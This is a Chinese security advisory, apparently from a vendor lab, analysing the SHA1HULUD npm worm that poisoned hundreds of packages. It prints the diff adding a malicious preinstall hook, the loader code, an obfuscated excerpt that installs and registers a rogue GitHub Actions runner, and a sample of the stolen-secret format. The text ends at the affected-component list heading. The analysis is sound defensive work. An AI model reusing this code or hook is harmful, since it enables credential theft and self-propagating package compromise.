SHA1HULUD蠕虫再现：超300NPM包被投毒、 2万仓库信息被窃取

一、概述

2025年11月24日，墨菲安全实验室检测到数小时内NPM仓库中超过300个组件被相同的方式投毒，这些包在NPM仓库中发布的新版本仿冒引入Bun运行时，引入 preinstall: node setup_bun.js，以及混淆的 bun_environment.js 文件。

在执行时会下载并运行 TruffleHog 对本机进行扫描，窃取其中的 NPM Token、AWS/GCP/Azure 凭据以及环境变量等敏感信息。

恶意代码会通过创建名为SHA1HULUD的GitHub action runner实现信息窃取，与2025年9月的Shai-Hulud攻击事件可能为同一攻击者，当前受影响GitHub仓库超过2万个。

二、投毒行为分析

以@asyncapi/specs组件为例，通过对比NPM与GitHub仓库（https://github.com/asyncapi/spec-json-schemas）中的代码可以发现GitHub仓库并未受影响。

对比新老版本可以发现攻击者通过修改package.json引入了setup_bun.js

diff --git a/package.json b/package.json
index v6.8.1..v6.8.2 100644
--- a/package.json
+++ b/package.json
@@ -1,10 +1,11 @@
 {
   "name": "@asyncapi/specs",
-  "version": "6.8.1",
+  "version": "6.8.2",
   "description": "AsyncAPI schema versions",
   "main": "index.js",
   "types": "index.d.ts",
   "scripts": {
+    "preinstall": "node setup_bun.js",
     "test": "npm run build && vitest run && npm run validate:schemas",
     "build": "npm run bundle",
     "generate:assets": "npm run build",

setup_bun.js仿冒进行bun相关设置代码，在其中调用bun_environment.js

const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
    runExecutable(bunExecutable, [environmentScript]);
  } else {
    process.exit(0);
  }

bun_environment.js 是一个高度混淆的恶意JavaScript文件，体积超过10MB，内置大量信息窃取逻辑。

其主要目的是收集环境中的敏感信息（AWS、Azure、GCP、GitHub、NPM 凭证），利用 TruffleHog 进行密钥扫描，并通过GitHub Action进行外发。

同时，会根据当前环境中的npm配置信息，修改package.json内容，写入setup_bun.js与 bun_environment.js，重新打包后以窃取的 Token 执行 npm publish，从而实现蠕虫传播。

if (a0_0x584cd0[_0x4f4186(21596)]() === "linux") await Bun["$"] `mkdir -p $HOME/.dev-env/`, await Bun["$"] `curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)] + _0x4f4186(8640))[_0x4f4186(3934)](), await Bun["$"] `tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz` ["cwd"](a0_0x584cd0[_0x4f4186(2400)] + _0x4f4186(8640)), await Bun["$"] `RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x3012a7}/${_0x10c210} --unattended --token ${_0x5ee686} --name "SHA1HULUD"` ["cwd"](a0_0x584cd0[_0x4f4186(2400)] + _0x4f4186(8640))[_0x4f4186(3934)](), await Bun["$"] `rm actions-runner-linux-x64-2.330.0.tar.gz` ["cwd"](a0_0x584cd0["homedir"] + _0x4f4186(8640)), Bun["spawn"](["bash", "-c", "cd $HOME/.dev-env && nohup ./run.sh &"])[_0x4f4186(22716)]();
else {
    if (a0_0x584cd0[_0x4f4186(21596)]() === _0x4f4186(5417)) await Bun["$"] `powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-win-x64-2.330.0.zip -OutFile actions-runner-win-x64-2.330.0.zip"` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)]()), await Bun["$"] `powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(\"actions-runner-win-x64-2.330.0.zip\", \".\")"` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)]()), await Bun["$"] `./config.cmd --url https://github.com/${_0x3012a7}/${_0x10c210} --unattended --token ${_0x5ee686} --name "SHA1HULUD"` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)]())[_0x4f4186(3934)](), Bun[_0x4f4186(18285)](["powershell", "-ExecutionPolicy", _0x4f4186(6132), _0x4f4186(20344), _0x4f4186(6696)], {
        "cwd": a0_0x584cd0[_0x4f4186(2400)]()
    })[_0x4f4186(22716)]();
    else {
        if (a0_0x584cd0["platform"]() === _0x4f4186(18673)) await Bun["$"] `mkdir -p $HOME/.dev-env/`, await Bun["$"] `curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)] + _0x4f4186(8640))[_0x4f4186(3934)](), await Bun["$"] `tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)] + "/.dev-env"), await Bun["$"] `./config.sh --url https://github.com/${_0x3012a7}/${_0x10c210} --unattended --token ${_0x5ee686} --name "SHA1HULUD"` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)] + _0x4f4186(8640))[_0x4f4186(3934)](), await Bun["$"] `rm actions-runner-osx-arm64-2.330.0.tar.gz` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)] + "/.dev-env"), Bun[_0x4f4186(18285)]([_0x4f4186(2383), "-c", _0x4f4186(23911)])[_0x4f4186(22716)]();
    }
}

恶意代码会创建.github/workflows/formatter_123456789.yml恶意workflow文件，创建名为SHA1HULUD的GitHub action runner，通过workflow将仓库中的secrets通过两次base64编码打包成actionsSecrets.json

解码后窃取的密钥信息格式如下：

[{
    "EC2_SSH_KEY": "",
    "github_token": "",
    "AWS_OPENVPN_CLIENT_KEY": "",
    "SLACK_GHA_NOTIFICATION_WEBHOOK_URL_PROD": "",
    "EC2_HOST": "",
    "SLACK_GHA_NOTIFICATION_WEBHOOK_URL_DEV": "",
    "SLACK_WEBHOOK_URL": "",
    "CODECOV_TOKEN": ""
  },
  {
    "github_token": "",
    "FIREBASE_TOKEN": "",
    "SLACK_WEBHOOK_URL": ""
  },
  {
    "github_token": "",
    "EXPO_TOKEN": "",
    "SLACK_WEBHOOK_URL": ""
  },
  {
    "github_token": "",
    "AWS_S3_BUCKET": "",
    "AWS_SECRET_ACCESS_KEY": "",
    "AWS_ACCESS_KEY_ID": ""
  },
  {
    "github_token": "",
    "WEBFLOW_TOKEN": "",
    "WEBFLOW_COLLECTION_ID": ""
  },
  {
    "github_token": "",
    "CODECOV_TOKEN": ""
  }]

当前超过2万个GitHub仓库受影响：

三、受影响组件列表